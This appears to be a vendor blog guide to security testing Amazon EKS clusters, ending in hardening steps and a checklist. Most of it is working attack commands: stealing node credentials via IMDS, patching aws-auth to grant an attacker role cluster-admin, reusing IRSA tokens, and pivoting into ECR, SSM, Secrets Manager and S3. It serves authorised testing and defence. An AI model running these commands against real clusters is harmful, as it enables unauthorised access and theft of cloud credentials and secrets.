Amazon EKS layers AWS IAM authentication on top of Kubernetes RBAC, creating a complex access control surface with EKS-specific attack paths. The aws-auth ConfigMap maps IAM principals to Kubernetes roles — and a single misconfigured entry can grant cluster-admin to any AWS account. This guide covers EKS-specific security testing: aws-auth ConfigMap abuse, node IAM role credential theft via IMDS, OIDC identity provider exploitation, EKS Pod Identity attacks, public endpoint exposure, and cross-account cluster access.
EKS uses AWS IAM as its authentication provider via the aws-iam-authenticator webhook. The authorization flow is:
kubectl sends the token to the Kubernetes API serveraws-auth ConfigMap maps the IAM principal to a Kubernetes username/groupCritical EKS-specific attack surfaces that don't exist in vanilla Kubernetes:
| Attack Surface | EKS-Specific Risk |
|---|---|
| aws-auth ConfigMap | Misconfigured IAM mappings grant unintended cluster access |
| Node instance profile | EC2 nodes have IAM roles — pods can steal these via IMDS |
| OIDC provider | Misconfigured trust conditions allow any pod to assume roles |
| EKS cluster endpoint | Public endpoint + no IP restrictions allows enumeration |
| Managed node group IAM | AmazonEKSWorkerNodePolicy grants broad AWS permissions |
The aws-auth ConfigMap in the kube-system namespace maps AWS IAM ARNs to Kubernetes users and groups. Misconfiguration can grant cluster-admin to unintended IAM principals.
# Read the aws-auth ConfigMap (requires kube-system read access)
kubectl get configmap aws-auth -n kube-system -o yaml
# Typical structure:
# mapRoles:
# - rolearn: arn:aws:iam::ACCOUNT:role/EKSNodeRole
# username: system:node:{{EC2PrivateDNSName}}
# groups:
# - system:bootstrappers
# - system:nodes
# - rolearn: arn:aws:iam::ACCOUNT:role/AdminRole
# username: admin
# groups:
# - system:masters ← cluster-admin!
#
# mapUsers:
# - userarn: arn:aws:iam::ACCOUNT:user/developer
# username: developer
# groups:
# - developers
# Check for overprivileged mappings
kubectl get configmap aws-auth -n kube-system -o json | python3 -c "
import json,sys,yaml
data = json.load(sys.stdin)
map_roles = yaml.safe_load(data['data'].get('mapRoles','[]') or '[]')
for role in map_roles:
groups = role.get('groups', [])
if 'system:masters' in groups:
print(f'CRITICAL: {role[\"rolearn\"]} has system:masters (cluster-admin)')
if '*' in str(groups):
print(f'WARNING: Wildcard group in {role[\"rolearn\"]}')
"
# If you can write to kube-system ConfigMaps (requires cluster-admin or specific RBAC),
# you can add your IAM principal to aws-auth
# Check if current service account can update aws-auth
kubectl auth can-i update configmap/aws-auth -n kube-system
# Add IAM role to system:masters group
kubectl patch configmap aws-auth -n kube-system --patch '{
"data": {
"mapRoles": "- rolearn: arn:aws:iam::ACCOUNT:role/ATTACKER_ROLE\n username: attacker\n groups:\n - system:masters\n"
}
}'
# This grants full cluster-admin to whoever can assume ATTACKER_ROLE in AWS
# Enumerate all IAM roles that might have EKS assume-role permissions
aws iam list-roles --query 'Roles[].{Name:RoleName,ARN:Arn}' --output table
aws iam get-role --role-name target-role --query 'Role.AssumeRolePolicyDocument'
iam:PassRole + eks:CreateCluster or write access to the aws-auth ConfigMap effectively has a path to cluster-admin. Map these permissions carefully in your IAM audit.
EKS worker nodes run with EC2 instance profiles. Without IMDSv2 enforcement, any pod on the node can steal the node's AWS credentials via IMDS.
# From inside a pod — check if IMDSv2 is enforced
curl -s -o /dev/null -w "%{http_code}" http://169.254.169.254/latest/meta-data/
# 200 = IMDSv1 accessible (vulnerable)
# 401 = IMDSv2 required (safer, but token can still be obtained)
# IMDSv1 credential theft (one step)
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Returns the role name
ROLE_NAME=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME"
# Returns: AccessKeyId, SecretAccessKey, Token, Expiration
# IMDSv2 credential theft (two steps — still exploitable from a pod)
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
"http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
# What permissions does the node IAM role have?
# Get the node group instance profile
aws eks describe-nodegroup \
--cluster-name my-cluster \
--nodegroup-name my-nodegroup \
--query 'nodegroup.nodeRole'
# Check managed policies on the node role
NODE_ROLE="arn:aws:iam::ACCOUNT:role/EKSNodeGroupRole"
ROLE_NAME=$(echo $NODE_ROLE | cut -d'/' -f2)
aws iam list-attached-role-policies --role-name $ROLE_NAME
# AmazonEKSWorkerNodePolicy grants:
# - ec2:Describe* (all EC2 resources — infrastructure mapping)
# - ecr:GetDownloadUrlForLayer (pull any ECR image in the account)
# AmazonEC2ContainerRegistryReadOnly grants:
# - ecr:GetAuthorizationToken (valid for all registries in account)
# - ecr:BatchGetImage (any image in any ECR repo in account)
# Use stolen node credentials to pivot
export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...
aws sts get-caller-identity # Confirm identity
aws ec2 describe-instances --region eu-west-1 | jq '.Reservations[].Instances[].PrivateIpAddress'
aws ecr get-login-password | docker login --username AWS --password-stdin ACCOUNT.dkr.ecr.eu-west-1.amazonaws.com
aws ecr list-images --repository-name production-app
EKS OIDC allows pods to assume IAM roles via service account annotations (IRSA). IAM trust policies for these roles must specify the service account and namespace — wildcard trust conditions allow any pod to assume the role.
# Get the OIDC issuer URL for the cluster
aws eks describe-cluster --name my-cluster \
--query 'cluster.identity.oidc.issuer' --output text
# Find all IAM roles with OIDC trust policies
OIDC_URL=$(aws eks describe-cluster --name my-cluster \
--query 'cluster.identity.oidc.issuer' --output text | sed 's|https://||')
aws iam list-roles | jq -r '.Roles[].RoleName' | while read role; do
trust=$(aws iam get-role --role-name "$role" \
--query 'Role.AssumeRolePolicyDocument' 2>/dev/null | \
python3 -m json.tool 2>/dev/null)
if echo "$trust" | grep -q "$OIDC_URL"; then
echo "Role: $role"
echo "$trust" | grep -A2 "Condition\|StringEquals\|StringLike"
echo "---"
fi
done
# Dangerous trust condition: no namespace/serviceaccount restriction
# "Condition": {
# "StringEquals": {
# "oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:sub":
# "system:serviceaccount:*:*" ← ANY pod in ANY namespace!
# }
# }
# Service account tokens for IRSA are mounted at a known path
# From inside a pod with IRSA:
cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token
# The token is a JWT containing the OIDC claims
# Decode to see which role it can assume
TOKEN=$(cat /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
echo $TOKEN | cut -d. -f2 | base64 -d 2>/dev/null | python3 -m json.tool
# Use the token to assume the associated IAM role
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::ACCOUNT:role/S3AccessRole \
--role-session-name eks-pod \
--web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
# If the role has overpermissive trust (matches wildcard), any pod can use it:
kubectl run --rm -it attacker --image=amazon/aws-cli \
--serviceaccount=default -- \
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::ACCOUNT:role/S3AccessRole \
--role-session-name attack \
--web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
EKS Pod Identity (newer alternative to IRSA) uses the EKS Pod Identity Agent to inject credentials. It has different attack characteristics.
# EKS Pod Identity uses a local agent on each node (port 80 on 169.254.170.23)
# From inside a pod with Pod Identity association:
curl -H "Authorization: $AWS_CONTAINER_AUTHORIZATION_TOKEN" \
"$AWS_CONTAINER_CREDENTIALS_FULL_URI"
# Or via environment variables (set automatically):
echo "Role ARN via Pod Identity: $AWS_ROLE_ARN"
# Check Pod Identity associations
aws eks list-pod-identity-associations \
--cluster-name my-cluster \
--query 'associations[].{Namespace:namespace,ServiceAccount:serviceAccount,RoleARN:roleArn}'
# Find overpermissive associations (same issues as IRSA)
aws eks list-pod-identity-associations --cluster-name my-cluster | \
python3 -c "
import json,sys
for assoc in json.load(sys.stdin)['associations']:
print(f\"Namespace: {assoc['namespace']} SA: {assoc['serviceAccount']} Role: {assoc.get('roleArn','unknown')}\")
"
# Check EKS cluster endpoint access configuration
aws eks describe-cluster --name my-cluster \
--query 'cluster.resourcesVpcConfig.{endpointPublicAccess:endpointPublicAccess,endpointPrivateAccess:endpointPrivateAccess,publicAccessCidrs:publicAccessCidrs}'
# Critical findings:
# endpointPublicAccess: true (accessible from internet)
# publicAccessCidrs: ["0.0.0.0/0"] (no IP restriction — any IP can attempt auth)
# Test if cluster endpoint is publicly accessible
CLUSTER_ENDPOINT=$(aws eks describe-cluster --name my-cluster \
--query 'cluster.endpoint' --output text)
curl -k -s "$CLUSTER_ENDPOINT/version" | python3 -m json.tool
# If it returns K8s version info unauthenticated — anonymous auth is enabled (very rare but critical)
# Even with auth required, a public endpoint leaks the server certificate (cluster name, region)
openssl s_client -connect $(echo $CLUSTER_ENDPOINT | sed 's|https://||'):443 /dev/null | \
openssl x509 -noout -text | grep -E "Subject:|DNS:"
# Test anonymous authentication (should be disabled)
curl -k "$CLUSTER_ENDPOINT/api/v1/namespaces" \
-H "Authorization: Bearer invalidtoken" 2>/dev/null | head -5
# system:anonymous should not have any permissions
# After stealing credentials (node role or IRSA), enumerate AWS permissions
# Check what you can do with stolen credentials
aws sts get-caller-identity
aws iam simulate-principal-policy \
--policy-source-arn arn:aws:iam::ACCOUNT:role/EKSNodeRole \
--action-names "s3:ListBuckets" "ec2:DescribeInstances" "iam:ListRoles"
# Common escalation paths from node role:
# 1. ECR access → pull internal Docker images → extract embedded secrets
aws ecr describe-repositories
aws ecr batch-get-image --repository-name internal-app \
--image-ids imageTag=latest | jq '.images[].imageManifest' | \
python3 -c "import json,sys; m=json.load(sys.stdin); print([l['digest'] for l in json.loads(m)['layers']])"
# 2. SSM access (if AmazonSSMManagedInstanceCore policy attached)
aws ssm describe-instance-information
aws ssm send-command \
--targets Key=instanceIds,Values=i-INSTANCEID \
--document-name AWS-RunShellScript \
--parameters 'commands=["cat /etc/shadow"]'
# 3. Secrets Manager read (if included in policy)
aws secretsmanager list-secrets | jq '.SecretList[].Name'
aws secretsmanager get-secret-value --secret-id production/db/password
# 4. S3 access (via AmazonS3ReadOnlyAccess or broader)
aws s3 ls # List all buckets
aws s3 ls s3://company-terraform-state/ # Check terraform state for more secrets
# 1. Migrate from aws-auth ConfigMap to EKS Access Entries API
aws eks create-access-entry \
--cluster-name my-cluster \
--principal-arn arn:aws:iam::ACCOUNT:role/AdminRole \
--type STANDARD
aws eks associate-access-policy \
--cluster-name my-cluster \
--principal-arn arn:aws:iam::ACCOUNT:role/AdminRole \
--policy-arn arn:aws:eks::aws:cluster-access-policy/AmazonEKSClusterAdminPolicy \
--access-scope type=cluster
# 2. Enforce IMDSv2 and hop limit = 1 (prevents pod IMDS access)
aws ec2 modify-instance-metadata-options \
--instance-id i-XXXXX \
--http-tokens required \
--http-put-response-hop-limit 1 # Hop limit 1 blocks containers (they need hop 2)
# Or in launch template:
# MetadataOptions:
# HttpTokens: required
# HttpPutResponseHopLimit: 1 ← containers can't reach IMDS
# 3. Use IRSA with specific namespace/service-account conditions (not wildcards)
# Trust policy condition:
{
"Condition": {
"StringEquals": {
"oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:sub":
"system:serviceaccount:production:app-service", # Specific, not wildcard
"oidc.eks.eu-west-1.amazonaws.com/id/EXAMPLED539D4633E53DE1B71234:aud":
"sts.amazonaws.com"
}
}
}
# 4. Restrict cluster endpoint access
aws eks update-cluster-config \
--name my-cluster \
--resources-vpc-config \
endpointPublicAccess=true,publicAccessCidrs=["203.0.113.0/24"],endpointPrivateAccess=true
# 5. Enable EKS control plane logging
aws eks update-cluster-config \
--name my-cluster \
--logging '{"clusterLogging":[{"types":["api","audit","authenticator","controllerManager","scheduler"],"enabled":true}]}'
| Security Test | Method | Priority |
|---|---|---|
| aws-auth system:masters mappings | kubectl get cm aws-auth -n kube-system | Critical |
| Node IMDS v1 access from pods | curl 169.254.169.254 from pod | Critical |
| OIDC trust condition wildcards | aws iam list-roles + trust policy review | Critical |
| Public endpoint IP restriction | aws eks describe-cluster | High |
| Node IAM role permissions audit | aws iam list-attached-role-policies | High |
| IRSA token reuse from other pods | Manual token extraction test | High |
| Control plane logging enabled | aws eks describe-cluster logging config | Medium |
| Anonymous API server auth | curl cluster endpoint without auth | High |
Ironimo scans EKS clusters for aws-auth misconfigurations, OIDC trust policy wildcards, public endpoint exposure, and node IAM role over-permission as part of continuous cloud security testing.
Start free scan